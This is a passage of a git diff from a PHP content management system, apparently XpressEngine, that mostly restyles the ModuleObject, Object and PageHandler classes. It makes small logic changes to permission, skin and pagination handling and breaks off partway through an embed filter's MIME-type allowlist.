Protocols', + '201' => 'OK', + '201' => 'Created', + '202' => 'Accepted', + '203' => 'Non-Authoritative Information', + '204' => 'No Content', + '205' => 'Reset Content', + '206' => 'Partial Content', + '300' => 'Multiple Choices', + '301' => 'Moved Permanently', + '302' => 'Found', + '303' => 'See Other', + '304' => 'Not Modified', + '305' => 'Use Proxy', + '307' => 'Temporary Redirect', + '400' => 'Bad Request', + '401' => 'Unauthorized', + '402' => 'Payment Required', + '403' => 'Forbidden', + '404' => 'Not Found', + '405' => 'Method Not Allowed', + '406' => 'Not Acceptable', + '407' => 'Proxy Authentication Required', + '408' => 'Request Timeout', + '409' => 'Conflict', + '410' => 'Gone', + '411' => 'Length Required', + '412' => 'Precondition Failed', + '413' => 'Request Entity Too Large', + '414' => 'Request-URI Too Long', + '415' => 'Unsupported Media Type', + '416' => 'Requested Range Not Satisfiable', + '417' => 'Expectation Failed', + '500' => 'Internal Server Error', + '501' => 'Not Implemented', + '502' => 'Bad Gateway', + '503' => 'Service Unavailable', + '504' => 'Gateway Timeout', + '505' => 'HTTP Version Not Supported', + ); + $statusMessage = $statusMessageList[$code]; + if(!$statusMessage) + { + $statusMessage = 'OK'; + } + + Context::set('http_status_code', $code); + Context::set('http_status_message', $statusMessage); + } + +} ?> diff --git a/classes/module/ModuleObject.class.php b/classes/module/ModuleObject.class.php index 6134e3072..4b88844c9 100644 --- a/classes/module/ModuleObject.class.php +++ b/classes/module/ModuleObject.class.php @@ -1,386 +1,480 @@ module = $module; + } - var $act = NULL; ///< a string value to contain the action name + /** + * setter to set the name of module path + * @param string $path the directory path to a module directory + * @return void + * */ + function setModulePath($path) + { + if(substr($path, -1) != '/') + { + $path.='/'; + } + $this->module_path = $path; + } - var $template_path = NULL; ///< a path of directory where template files reside - var $template_file = NULL; ///< name of template file + /** + * setter to set an url for redirection + * @param string $url url for redirection + * @remark redirect_url is used only for ajax requests + * @return void + * */ + function setRedirectUrl($url = './', $output = NULL) + { + $ajaxRequestMethod = array_flip($this->ajaxRequestMethod); + if(!isset($ajaxRequestMethod[Context::getRequestMethod()])) + { + $this->add('redirect_url', $url); + } - var $layout_path = ''; ///< a path of directory where layout files reside - var $layout_file = ''; ///< name of layout file - var $edited_layout_file = ''; ///< name of temporary layout files that is modified in an admin mode + if($output !== NULL && is_object($output)) + { + return $output; + } + } - var $stop_proc = false; ///< a flag to indicating whether to stop the execution of code. + /** + * get url for redirection + * @return string redirect_url + * */ + function getRedirectUrl() + { + return $this->get('redirect_url'); + } - var $module_config = NULL; - var $ajaxRequestMethod = array('XMLRPC', 'JSON'); + /** + * set message + * @param string $message a message string + * @param string $type type of message (error, info, update) + * @return void + * */ + function setMessage($message, $type = NULL) + { + parent::setMessage($message); + $this->setMessageType($type); + } - var $gzhandler_enable = TRUE; + /** + * set type of message + * @param string $type type of message (error, info, update) + * @return void + * */ + function setMessageType($type) + { + $this->add('message_type', $type); + } - /** - * setter to set the name of module - * @param string $module name of module - * @return void - **/ - function setModule($module) { - $this->module = $module; - } + /** + * get type of message + * @return string $type + * */ + function getMessageType() + { + $type = $this->get('message_type'); + $typeList = array('error' => 1, 'info' => 1, 'update' => 1); + if(!isset($typeList[$type])) + { + $type = $this->getError() ? 'error' : 'info'; + } + return $type; + } - /** - * setter to set the name of module path - * @param string $path the directory path to a module directory - * @return void - **/ - function setModulePath($path) { - if(substr($path,-1)!='/') $path.='/'; - $this->module_path = $path; - } + /** + * sett to set the template path for refresh.html + * refresh.html is executed as a result of method execution + * Tpl as the common run of the refresh.html .. + * @return void + * */ + function setRefreshPage() + { + $this->setTemplatePath('./common/tpl'); + $this->setTemplateFile('refresh'); + } - /** - * setter to set an url for redirection - * @param string $url url for redirection - * @remark redirect_url is used only for ajax requests - * @return void - **/ - function setRedirectUrl($url='./', $output = NULL) { - $ajaxRequestMethod = array_flip($this->ajaxRequestMethod); - if(!isset($ajaxRequestMethod[Context::getRequestMethod()])) + /** + * sett to set the action name + * @param string $act + * @return void + * */ + function setAct($act) + { + $this->act = $act; + } + + /** + * sett to set module information + * @param object $module_info object containing module information + * @param object $xml_info object containing module description + * @return void + * */ + function setModuleInfo($module_info, $xml_info) + { + // The default variable settings + $this->mid = $module_info->mid; + $this->module_srl = $module_info->module_srl; + $this->module_info = $module_info; + $this->origin_module_info = $module_info; + $this->xml_info = $xml_info; + $this->skin_vars = $module_info->skin_vars; + // validate certificate info and permission settings necessary in Web-services + $is_logged = Context::get('is_logged'); + $logged_info = Context::get('logged_info'); + // module model create an object + $oModuleModel = getModel('module'); + // permission settings. access, manager(== is_admin) are fixed and privilege name in XE + $module_srl = Context::get('module_srl'); + if(!$module_info->mid && !is_array($module_srl) && preg_match('/^([0-9]+)$/', $module_srl)) + { + $request_module = $oModuleModel->getModuleInfoByModuleSrl($module_srl); + if($request_module->module_srl == $module_srl) { - $this->add('redirect_url', $url); + $grant = $oModuleModel->getGrant($request_module, $logged_info); } - - if($output !== NULL && is_object($output)) + } + else + { + $grant = $oModuleModel->getGrant($module_info, $logged_info, $xml_info); + // have at least access grant + if(substr_count($this->act, 'Member') || substr_count($this->act, 'Communication')) { - return $output; + $grant->access = 1; } - } - - /** - * get url for redirection - * @return string redirect_url - **/ - function getRedirectUrl(){ - return $this->get('redirect_url'); } - - /** - * set message - * @param string $message a message string - * @param string $type type of message (error, info, update) - * @return void - **/ - function setMessage($message, $type = null){ - parent::setMessage($message); - $this->setMessageType($type); - } - - /** - * set type of message - * @param string $type type of message (error, info, update) - * @return void - **/ - function setMessageType($type){ - $this->add('message_type', $type); - } - - /** - * get type of message - * @return string $type - **/ - function getMessageType(){ - $type = $this->get('message_type'); - $typeList = array('error'=>1, 'info'=>1, 'update'=>1); - if (!isset($typeList[$type])){ - $type = $this->getError()?'error':'info'; + // display no permission if the current module doesn't have an access privilege + //if(!$grant->access) return $this->stop("msg_not_permitted"); + // checks permission and action if you don't have an admin privilege + if(!$grant->manager) + { + // get permission types(guest, member, manager, root) of the currently requested action + $permission_target = $xml_info->permission->{$this->act}; + // check manager if a permission in module.xml otherwise action if no permission + if(!$permission_target && substr_count($this->act, 'Admin')) + { + $permission_target = 'manager'; } - return $type; - } - - /** - * sett to set the template path for refresh.html - * refresh.html is executed as a result of method execution - * Tpl as the common run of the refresh.html .. - * @return void - **/ - function setRefreshPage() { - $this->setTemplatePath('./common/tpl'); - $this->setTemplateFile('refresh'); - } - - - /** - * sett to set the action name - * @param string $act - * @return void - **/ - function setAct($act) { - $this->act = $act; - } - - /** - * sett to set module information - * @param object $module_info object containing module information - * @param object $xml_info object containing module description - * @return void - **/ - function setModuleInfo($module_info, $xml_info) { - // The default variable settings - $this->mid = $module_info->mid; - $this->module_srl = $module_info->module_srl; - $this->module_info = $module_info; - $this->origin_module_info = $module_info; - $this->xml_info = $xml_info; - $this->skin_vars = $module_info->skin_vars; - // validate certificate info and permission settings necessary in Web-services - $is_logged = Context::get('is_logged'); - $logged_info = Context::get('logged_info'); - // module model create an object - $oModuleModel = &getModel('module'); - // permission settings. access, manager(== is_admin) are fixed and privilege name in XE - $module_srl = Context::get('module_srl'); - if(!$module_info->mid && !is_array($module_srl) && preg_match('/^([0-9]+)$/',$module_srl)) { - $request_module = $oModuleModel->getModuleInfoByModuleSrl($module_srl); - if($request_module->module_srl == $module_srl) { - $grant = $oModuleModel->getGrant($request_module, $logged_info); - } - } else { - $grant = $oModuleModel->getGrant($module_info, $logged_info, $xml_info); - // have at least access grant - if( substr_count($this->act, 'Member') || substr_count($this->act, 'Communication')) - $grant->access = 1; - } - // display no permission if the current module doesn't have an access privilege - //if(!$grant->access) return $this->stop("msg_not_permitted"); - // checks permission and action if you don't have an admin privilege - if(!$grant->manager) { - // get permission types(guest, member, manager, root) of the currently requested action - $permission_target = $xml_info->permission->{$this->act}; - // check manager if a permission in module.xml otherwise action if no permission - if(!$permission_target && substr_count($this->act, 'Admin')) $permission_target = 'manager'; - // Check permissions - switch($permission_target) { - case 'root' : - case 'manager' : - $this->stop('msg_is_not_administrator'); + // Check permissions + switch($permission_target) + { + case 'root' : + case 'manager' : + $this->stop('msg_is_not_administrator'); + return; + case 'member' : + if(!$is_logged) + { + $this->stop('msg_not_permitted_act'); return; - case 'member' : - if(!$is_logged) - { - $this->stop('msg_not_permitted_act'); - return; - } - break; - } - } - // permission variable settings - $this->grant = $grant; + } + break; + } + } + // permission variable settings + $this->grant = $grant; - Context::set('grant', $grant); + Context::set('grant', $grant); - $this->module_config = $oModuleModel->getModuleConfig($this->module, $module_info->site_srl); + $this->module_config = $oModuleModel->getModuleConfig($this->module, $module_info->site_srl); - if(method_exists($this, 'init')) $this->init(); - } + if(method_exists($this, 'init')) + { + $this->init(); + } + } - /** - * set the stop_proc and approprate message for msg_code - * @param string $msg_code an error code - * @return ModuleObject $this - **/ - function stop($msg_code) { - // flag setting to stop the proc processing - $this->stop_proc = true; - // Error handling - $this->setError(-1); - $this->setMessage($msg_code); - // Error message display by message module - $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($msg_code); - $oMessageObject->dispMessage(); + /** + * set the stop_proc and approprate message for msg_code + * @param string $msg_code an error code + * @return ModuleObject $this + * */ + function stop($msg_code) + { + // flag setting to stop the proc processing + $this->stop_proc = TRUE; + // Error handling + $this->setError(-1); + $this->setMessage($msg_code); + // Error message display by message module + $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($msg_code); + $oMessageObject->dispMessage(); - $this->setTemplatePath($oMessageObject->getTemplatePath()); - $this->setTemplateFile($oMessageObject->getTemplateFile()); + $this->setTemplatePath($oMessageObject->getTemplatePath()); + $this->setTemplateFile($oMessageObject->getTemplateFile()); - return $this; - } + return $this; + } - /** - * set the file name of the template file - * @param string name of file - * @return void - **/ - function setTemplateFile($filename) { - if(substr($filename,-5)!='.html') $filename .= '.html'; - $this->template_file = $filename; - } + /** + * set the file name of the template file + * @param string name of file + * @return void + * */ + function setTemplateFile($filename) + { + if(substr($filename, -5) != '.html') + { + $filename .= '.html'; + } + $this->template_file = $filename; + } - /** - * retrieve the directory path of the template directory - * @return string - **/ - function getTemplateFile() { - return $this->template_file; - } + /** + * retrieve the directory path of the template directory + * @return string + * */ + function getTemplateFile() + { + return $this->template_file; + } - /** - * set the directory path of the template directory - * @param string path of template directory. - * @return void - **/ - function setTemplatePath($path) { - if(substr($path,0,1)!='/' && substr($path,0,2)!='./') $path = './'.$path; - if(substr($path,-1)!='/') $path .= '/'; - $this->template_path = $path; - } + /** + * set the directory path of the template directory + * @param string path of template directory. + * @return void + * */ + function setTemplatePath($path) + { + if(substr($path, 0, 1) != '/' && substr($path, 0, 2) != './') + { + $path = './' . $path; + } + if(substr($path, -1) != '/') + { + $path .= '/'; + } + $this->template_path = $path; + } - /** - * retrieve the directory path of the template directory - * @return string - **/ - function getTemplatePath() { - return $this->template_path; - } + /** + * retrieve the directory path of the template directory + * @return string + * */ + function getTemplatePath() + { + return $this->template_path; + } - /** - * set the file name of the temporarily modified by admin - * @param string name of file - * @return void - **/ - function setEditedLayoutFile($filename) { - if(substr($filename,-5)!='.html') $filename .= '.html'; - $this->edited_layout_file = $filename; - } + /** + * set the file name of the temporarily modified by admin + * @param string name of file + * @return void + * */ + function setEditedLayoutFile($filename) + { + if(substr($filename, -5) != '.html') + { + $filename .= '.html'; + } + $this->edited_layout_file = $filename; + } - /** - * retreived the file name of edited_layout_file - * @return string - **/ - function getEditedLayoutFile() { - return $this->edited_layout_file; - } + /** + * retreived the file name of edited_layout_file + * @return string + * */ + function getEditedLayoutFile() + { + return $this->edited_layout_file; + } - /** - * set the file name of the layout file - * @param string name of file - * @return void - **/ - function setLayoutFile($filename) { - if(substr($filename,-5)!='.html') $filename .= '.html'; - $this->layout_file = $filename; - } + /** + * set the file name of the layout file + * @param string name of file + * @return void + * */ + function setLayoutFile($filename) + { + if(substr($filename, -5) != '.html') + { + $filename .= '.html'; + } + $this->layout_file = $filename; + } - /** - * get the file name of the layout file - * @return string - **/ - function getLayoutFile() { - return $this->layout_file; - } + /** + * get the file name of the layout file + * @return string + * */ + function getLayoutFile() + { + return $this->layout_file; + } - /** - * set the directory path of the layout directory - * @param string path of layout directory. - **/ - function setLayoutPath($path) { - if(substr($path,0,1)!='/' && substr($path,0,2)!='./') $path = './'.$path; - if(substr($path,-1)!='/') $path .= '/'; - $this->layout_path = $path; - } + /** + * set the directory path of the layout directory + * @param string path of layout directory. + * */ + function setLayoutPath($path) + { + if(substr($path, 0, 1) != '/' && substr($path, 0, 2) != './') + { + $path = './' . $path; + } + if(substr($path, -1) != '/') + { + $path .= '/'; + } + $this->layout_path = $path; + } - /** - * set the directory path of the layout directory - * @return string - **/ - function getLayoutPath() { - return $this->layout_path; - } + /** + * set the directory path of the layout directory + * @return string + * */ + function getLayoutPath() + { + return $this->layout_path; + } - /** - * excute the member method specified by $act variable - * @return boolean true : success false : fail - **/ - function proc() { - // pass if stop_proc is true - if($this->stop_proc) return false; + /** + * excute the member method specified by $act variable + * @return boolean true : success false : fail + * */ + function proc() + { + // pass if stop_proc is true + if($this->stop_proc) + { + return false; + } - // trigger call - $triggerOutput = ModuleHandler::triggerCall('moduleObject.proc', 'before', $this); - if(!$triggerOutput->toBool()) { - $this->setError($triggerOutput->getError()); - $this->setMessage($triggerOutput->getMessage()); - return false; - } + // trigger call + $triggerOutput = ModuleHandler::triggerCall('moduleObject.proc', 'before', $this); + if(!$triggerOutput->toBool()) + { + $this->setError($triggerOutput->getError()); + $this->setMessage($triggerOutput->getMessage()); + return false; + } - // execute an addon(call called_position as before_module_proc) - $called_position = 'before_module_proc'; - $oAddonController = &getController('addon'); - $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone()?"mobile":"pc"); - @include($addon_file); + // execute an addon(call called_position as before_module_proc) + $called_position = 'before_module_proc'; + $oAddonController = getController('addon'); + $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone() ? "mobile" : "pc"); + @include($addon_file); - if(isset($this->xml_info->action->{$this->act}) && method_exists($this, $this->act)) { - // Check permissions - if($this->module_srl && !$this->grant->access){ - $this->stop("msg_not_permitted_act"); - return FALSE; + if(isset($this->xml_info->action->{$this->act}) && method_exists($this, $this->act)) + { + // Check permissions + if($this->module_srl && !$this->grant->access) + { + $this->stop("msg_not_permitted_act"); + return FALSE; + } + + // integrate skin information of the module(change to sync skin info with the target module only by seperating its table) + $is_default_skin = ((!Mobile::isFromMobilePhone() && $this->module_info->is_skin_fix == 'N') || (Mobile::isFromMobilePhone() && $this->module_info->is_mskin_fix == 'N')); + $usedSkinModule = !($this->module == 'page' && ($this->module_info->page_type == 'OUTSIDE' || $this->module_info->page_type == 'WIDGET')); + if($usedSkinModule && $is_default_skin && $this->module != 'admin' && strpos($this->act, 'Admin') === false && $this->module == $this->module_info->module) + { + $dir = (Mobile::isFromMobilePhone()) ? 'm.skins' : 'skins'; + $valueName = (Mobile::isFromMobilePhone()) ? 'mskin' : 'skin'; + $oModuleModel = getModel('module'); + $skinType = (Mobile::isFromMobilePhone()) ? 'M' : 'P'; + $skinName = $oModuleModel->getModuleDefaultSkin($this->module, $skinType); + if($this->module == 'page') + { + $this->module_info->{$valueName} = $skinName; } - // integrate skin information of the module(change to sync skin info with the target module only by seperating its table) - $oModuleModel = &getModel('module'); - $oModuleModel->syncSkinInfoToModuleInfo($this->module_info); - Context::set('module_info', $this->module_info); - // Run - $output = $this->{$this->act}(); - } - else { + else + { + $isTemplatPath = (strpos($this->getTemplatePath(), '/tpl/') !== FALSE); + if(!$isTemplatPath) + { + $this->setTemplatePath(sprintf('%s%s/%s/', $this->module_path, $dir, $skinName)); + } + } + } + + $oModuleModel = getModel('module'); + $oModuleModel->syncSkinInfoToModuleInfo($this->module_info); + Context::set('module_info', $this->module_info); + // Run + $output = $this->{$this->act}(); + } + else + { + return false; + } + + // trigger call + $triggerOutput = ModuleHandler::triggerCall('moduleObject.proc', 'after', $this); + if(!$triggerOutput->toBool()) + { + $this->setError($triggerOutput->getError()); + $this->setMessage($triggerOutput->getMessage()); + return false; + } + + // execute an addon(call called_position as after_module_proc) + $called_position = 'after_module_proc'; + $oAddonController = getController('addon'); + $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone() ? "mobile" : "pc"); + @include($addon_file); + + if(is_a($output, 'Object') || is_subclass_of($output, 'Object')) + { + $this->setError($output->getError()); + $this->setMessage($output->getMessage()); + + if(!$output->toBool()) + { return false; } + } + // execute api methos of the module if view action is and result is XMLRPC or JSON + if($this->module_info->module_type == 'view') + { + if(Context::getResponseMethod() == 'XMLRPC' || Context::getResponseMethod() == 'JSON') + { + $oAPI = getAPI($this->module_info->module, 'api'); + if(method_exists($oAPI, $this->act)) + { + $oAPI->{$this->act}($this); + } + } + } + return true; + } - // trigger call - $triggerOutput = ModuleHandler::triggerCall('moduleObject.proc', 'after', $this); - if(!$triggerOutput->toBool()) { - $this->setError($triggerOutput->getError()); - $this->setMessage($triggerOutput->getMessage()); - return false; - } - - // execute an addon(call called_position as after_module_proc) - $called_position = 'after_module_proc'; - $oAddonController = &getController('addon'); - $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone()?"mobile":"pc"); - @include($addon_file); - - if(is_a($output, 'Object') || is_subclass_of($output, 'Object')) { - $this->setError($output->getError()); - $this->setMessage($output->getMessage()); - - if (!$output->toBool()) return false; - } - // execute api methos of the module if view action is and result is XMLRPC or JSON - if($this->module_info->module_type == 'view'){ - if(Context::getResponseMethod() == 'XMLRPC' || Context::getResponseMethod() == 'JSON') { - $oAPI = getAPI($this->module_info->module, 'api'); - if(method_exists($oAPI, $this->act)) { - $oAPI->{$this->act}($this); - } - } - } - return true; - } - } +} ?> diff --git a/classes/object/Object.class.php b/classes/object/Object.class.php index 96db11478..fe5a0c78b 100644 --- a/classes/object/Object.class.php +++ b/classes/object/Object.class.php @@ -1,11 +1,12 @@ setError($error); $this->setMessage($message); } - /** * Setter to set error code * * @param int $error error code * @return void */ - function setError($error = 0) { + function setError($error = 0) + { $this->error = $error; } @@ -60,7 +61,8 @@ class Object { * * @return int Returns an error code */ - function getError() { + function getError() + { return $this->error; } @@ -91,12 +93,14 @@ class Object { * @param string $message Error message * @return bool Alaways returns true. */ - function setMessage($message = 'success') { - if(Context::getLang($message)) $message = Context::getLang($message); + function setMessage($message = 'success') + { + if(Context::getLang($message)) + $message = Context::getLang($message); $this->message = $message; // TODO This method always returns True. We'd better remove it - return true; + return TRUE; } /** @@ -104,7 +108,8 @@ class Object { * * @return string Returns message */ - function getMessage() { + function getMessage() + { return $this->message; } @@ -115,7 +120,8 @@ class Object { * @param mixed $val A value for the variable * @return void */ - function add($key, $val) { + function add($key, $val) + { $this->variables[$key] = $val; } @@ -130,11 +136,14 @@ class Object { if(is_object($object)) { $object = get_object_vars($object); - } + } if(is_array($object)) { - foreach($object as $key => $val) $this->variables[$key] = $val; + foreach($object as $key => $val) + { + $this->variables[$key] = $val; + } } } @@ -144,20 +153,22 @@ class Object { * @param string $key * @return string Returns value to a given key */ - function get($key) { + function get($key) + { return $this->variables[$key]; } - /** * Method to retrieve an object containing a key/value paris * * @return Object Returns an object containing key/value pairs */ - function gets() { + function gets() + { $num_args = func_num_args(); $args_list = func_get_args(); - for($i=0;$i<$num_args;$i++) { + for($i = 0; $i < $num_args; $i++) + { $key = $args_list[$i]; $output->{$key} = $this->get($key); } @@ -169,7 +180,8 @@ class Object { * * @return array */ - function getVariables() { + function getVariables() + { return $this->variables; } @@ -178,8 +190,13 @@ class Object { * * @return Object */ - function getObjectVars() { - foreach($this->variables as $key => $val) $output->{$key} = $val; + function getObjectVars() + { + $output = new stdClass(); + foreach($this->variables as $key => $val) + { + $output->{$key} = $val; + } return $output; } @@ -188,21 +205,22 @@ class Object { * * @return bool Retruns true : error isn't 0 or false : otherwise. */ - function toBool() { + function toBool() + { // TODO This method is misleading in that it returns true if error is 0, which should be true in boolean representation. - return $this->error==0?true:false; + return $this->error == 0 ? TRUE : FALSE; } - /** * Method to return either true or false depnding on the value in a 'error' variable * * @return bool */ - function toBoolean() { - return $this->toBool(); + function toBoolean() + { + return $this->toBool(); } -} +} /* End of file Object.class.php */ /* Location: ./classes/object/Object.class.php */ diff --git a/classes/page/PageHandler.class.php b/classes/page/PageHandler.class.php index d598b708d..b7123e522 100644 --- a/classes/page/PageHandler.class.php +++ b/classes/page/PageHandler.class.php @@ -1,68 +1,92 @@ total_count = $total_count; - $this->total_page = $total_page; - $this->cur_page = $cur_page; - $this->page_count = $page_count; - $this->point = 0; + /** + * constructor + * @param int $total_count number of total items + * @param int $total_page number of total pages + * @param int $cur_page current page number + * @param int $page_count number of page links displayed at one time + * @return void + */ - $first_page = $cur_page - (int)($page_count/2); - if($first_page<1) $first_page = 1; - $last_page = $total_page; - if($last_page>$total_page) $last_page = $total_page; + function PageHandler($total_count, $total_page, $cur_page, $page_count = 10) + { + $this->total_count = $total_count; + $this->total_page = $total_page; + $this->cur_page = $cur_page; + $this->page_count = $page_count; + $this->point = 0; - $this->first_page = $first_page; - $this->last_page = $last_page; - - if($total_page < $this->page_count) $this->page_count = $total_page; - } - - /** - * request next page - * @return int next page number - **/ - function getNextPage() { - $page = $this->first_page+$this->point++; - if($this->point > $this->page_count || $page > $this->last_page) $page = 0; - return $page; - } - - /** - * return number of page that added offset. - * @param int $offset - * @return int - **/ - function getPage($offset) + $first_page = $cur_page - (int) ($page_count / 2); + if($first_page < 1) { - return max(min($this->cur_page + $offset, $this->total_page), ''); + $first_page = 1; } - } -?> + + if($total_page > $page_count && $first_page + $page_count - 1 > $total_page) + { + $first_page -= $first_page + $page_count - 1 - $total_page; + } + + $last_page = $total_page; + if($last_page > $total_page) + { + $last_page = $total_page; + } + + $this->first_page = $first_page; + $this->last_page = $last_page; + + if($total_page < $this->page_count) + { + $this->page_count = $total_page; + } + } + + /** + * request next page + * @return int next page number + */ + function getNextPage() + { + $page = $this->first_page + $this->point++; + if($this->point > $this->page_count || $page > $this->last_page) + { + $page = 0; + } + return $page; + } + + /** + * return number of page that added offset. + * @param int $offset + * @return int + */ + function getPage($offset) + { + return max(min($this->cur_page + $offset, $this->total_page), ''); + } + +} +/* End of file PageHandler.class.php */ +/* Location: ./classes/page/PageHandler.class.php */ diff --git a/classes/security/EmbedFilter.class.php b/classes/security/EmbedFilter.class.php index f674bfbe5..0b5d5dd4f 100644 --- a/classes/security/EmbedFilter.class.php +++ b/classes/security/EmbedFilter.class.php @@ -1,13 +1,16 @@ 1, 'application/applixware'=>1, 'application/atom+xml'=>1, 'application/atomcat+xml'=>1, 'application/atomsvc+xml'=>1, - 'application/ccxml+xml'=>1, 'application/cdmi-capability'=>1, 'application/cdmi-container'=>1, 'application/cdmi-domain'=>1, 'application/cdmi-object'=>1, - 'application/cdmi-queue'=>1, 'application/cu-seeme'=>1, 'application/davmount+xml'=>1, 'application/docbook+xml'=>1, 'application/dssc+der'=>1, 'application/dssc+xml'=>1, - 'application/ecmascript'=>1, 'application/emma+xml'=>1, 'application/epub+zip'=>1, 'application/exi'=>1, 'application/font-tdpfr'=>1, 'application/gml+xml'=>1, - 'application/gpx+xml'=>1, 'application/gxf'=>1, 'application/hyperstudio'=>1, 'application/inkml+xml'=>1, 'application/inkml+xml'=>1, 'application/ipfix'=>1, - 'application/java-archive'=>1, 'application/java-serialized-object'=>1, 'application/java-vm'=>1, 'application/javascript'=>1, 'application/json'=>1, - 'application/jsonml+json'=>1, 'application/lost+xml'=>1, 'application/mac-binhex40'=>1, 'application/mac-compactpro'=>1, 'application/mads+xml'=>1, - 'application/marc'=>1, 'application/marcxml+xml'=>1, 'application/mathematica'=>1, 'application/mathematica'=>1, 'application/mathematica'=>1, 'application/mathml+xml'=>1, - 'application/mbox'=>1, 'application/mediaservercontrol+xml'=>1, 'application/metalink+xml'=>1, 'application/metalink4+xml'=>1, 'application/mets+xml'=>1, - 'application/mods+xml'=>1, 'application/mp21'=>1, 'application/mp4'=>1, 'application/msword'=>1, 'application/mxf'=>1, 'application/octet-stream'=>1, - 'application/octet-stream'=>1, 'application/octet-stream'=>1, 'application/octet-stream'=>1, 'application/octet-stream'=>1, 'application/octet-stream'=>1, - 'application/octet-stream'=>1, 'application/octet-stream'=>1, 'application/octet-stream'=>1, 'application/octet-stream'=>1, 'application/octet-stream'=>1, - 'application/octet-stream'=>1, 'application/oda'=>1, 'application/oebps-package+xml'=>1, 'application/ogg'=>1, 'application/omdoc+xml'=>1, 'application/onenote'=>1, - 'application/onenote'=>1, 'application/onenote'=>1, 'application/onenote'=>1, 'application/oxps'=>1, 'application/patch-ops-error+xml'=>1, 'application/pdf'=>1, - 'application/pgp-encrypted'=>1, 'application/pgp-signature'=>1, 'application/pgp-signature'=>1, 'application/pics-rules'=>1, 'application/pkcs10'=>1, - 'application/pkcs7-mime'=>1, 'application/pkcs7-mime'=>1, 'application/pkcs7-signature'=>1, 'application/pkcs8'=>1, 'application/pkix-attr-cert'=>1, - 'application/pkix-cert'=>1, 'application/pkix-crl'=>1, 'application/pkix-pkipath'=>1, 'application/pkixcmp'=>1, 'application/pls+xml'=>1, - 'application/postscript'=>1, 'application/postscript'=>1, 'application/postscript'=>1, 'application/prs.cww'=>1, 'application/pskc+xml'=>1, - 'application/rdf+xml'=>1, 'application/reginfo+xml'=>1, 'application/relax-ng-compact-syntax'=>1, 'application/resource-lists+xml'=>1, - 'application/resource-lists-diff+xml'=>1, 'application/rls-services+xml'=>1, 'application/rpki-ghostbusters'=>1, 'application/rpki-manifest'=>1, - 'application/rpki-roa'=>1, 'application/rsd+xml'=>1, 'application/rss+xml'=>1, 'application/rtf'=>1, 'application/sbml+xml'=>1, 'application/scvp-cv-request'=>1, - 'application/scvp-cv-response'=>1, 'application/scvp-vp-request'=>1, 'application/scvp-vp-response'=>1, 'application/sdp'=>1, 'application/set-payment-initiation'=>1, - 'application/set-registration-initiation'=>1, 'application/shf+xml'=>1, 'application/smil+xml'=>1, 'application/smil+xml'=>1, 'application/sparql-query'=>1, - 'application/sparql-results+xml'=>1, 'application/srgs'=>1, 'application/srgs+xml'=>1, 'application/sru+xml'=>1, 'application/ssdl+xml'=>1, - 'application/ssml+xml'=>1, 'application/tei+xml'=>1, 'application/tei+xml'=>1, 'application/thraud+xml'=>1, 'application/timestamped-data'=>1, - 'application/vnd.3gpp.pic-bw-large'=>1, 'application/vnd.3gpp.pic-bw-small'=>1, 'application/vnd.3gpp.pic-bw-var'=>1, 'application/vnd.3gpp2.tcap'=>1, - 'application/vnd.3m.post-it-notes'=>1, 'application/vnd.accpac.simply.aso'=>1, 'application/vnd.accpac.simply.imp'=>1, 'application/vnd.acucobol'=>1, - 'application/vnd.acucorp'=>1, 'application/vnd.acucorp'=>1, 'application/vnd.adobe.air-application-installer-package+zip'=>1, 'application/vnd.adobe.formscentral.fcdt'=>1, - 'application/vnd.adobe.fxp'=>1, 'application/vnd.adobe.fxp'=>1, 'application/vnd.adobe.xdp+xml'=>1, 'application/vnd.adobe.xfdf'=>1, 'application/vnd.ahead.space'=>1, - 'application/vnd.airzip.filesecure.azf'=>1, 'application/vnd.airzip.filesecure.azs'=>1, 'application/vnd.amazon.ebook'=>1, 'application/vnd.americandynamics.acc'=>1, - 'application/vnd.amiga.ami'=>1, 'application/vnd.android.package-archive'=>1, 'application/vnd.anser-web-certificate-issue-initiation'=>1, - 'application/vnd.anser-web-funds-transfer-initiation'=>1, 'application/vnd.antix.game-component'=>1, 'application/vnd.apple.installer+xml'=>1, - 'application/vnd.apple.mpegurl'=>1, 'application/vnd.aristanetworks.swi'=>1, 'application/vnd.astraea-software.iota'=>1, 'application/vnd.audiograph'=>1, - 'application/vnd.blueice.multipass'=>1, 'application/vnd.bmi'=>1, 'application/vnd.businessobjects'=>1, 'application/vnd.chemdraw+xml'=>1, - 'application/vnd.chipnuts.karaoke-mmd'=>1, 'application/vnd.cinderella'=>1, 'application/vnd.claymore'=>1, 'application/vnd.cloanto.rp9'=>1, - 'application/vnd.clonk.c4group'=>1, 'application/vnd.clonk.c4group'=>1, 'application/vnd.clonk.c4group'=>1, 'application/vnd.clonk.c4group'=>1, - 'application/vnd.clonk.c4group'=>1, 'application/vnd.cluetrust.cartomobile-config'=>1, 'application/vnd.cluetrust.cartomobile-config-pkg'=>1, - 'application/vnd.commonspace'=>1, 'application/vnd.contact.cmsg'=>1, 'application/vnd.cosmocaller'=>1, 'application/vnd.crick.clicker'=>1, - 'application/vnd.crick.clicker.keyboard'=>1, 'application/vnd.crick.clicker.palette'=>1, 'application/vnd.crick.clicker.template'=>1, - 'application/vnd.crick.clicker.wordbank'=>1, 'application/vnd.criticaltools.wbs+xml'=>1, 'application/vnd.ctc-posml'=>1, 'application/vnd.cups-ppd'=>1, - 'application/vnd.curl.car'=>1, 'application/vnd.curl.pcurl'=>1, 'application/vnd.dart'=>1, 'application/vnd.data-vision.rdz'=>1, 'application/vnd.dece.data'=>1, - 'application/vnd.dece.data'=>1, 'application/vnd.dece.data'=>1, 'application/vnd.dece.data'=>1, 'application/vnd.dece.ttml+xml'=>1, 'application/vnd.dece.ttml+xml'=>1, - 'application/vnd.dece.unspecified'=>1, 'application/vnd.dece.unspecified'=>1, 'application/vnd.dece.zip'=>1, 'application/vnd.dece.zip'=>1, - 'application/vnd.denovo.fcselayout-link'=>1, 'application/vnd.dna'=>1, 'application/vnd.dolby.mlp'=>1, 'application/vnd.dpgraph'=>1, 'application/vnd.dreamfactory'=>1, - 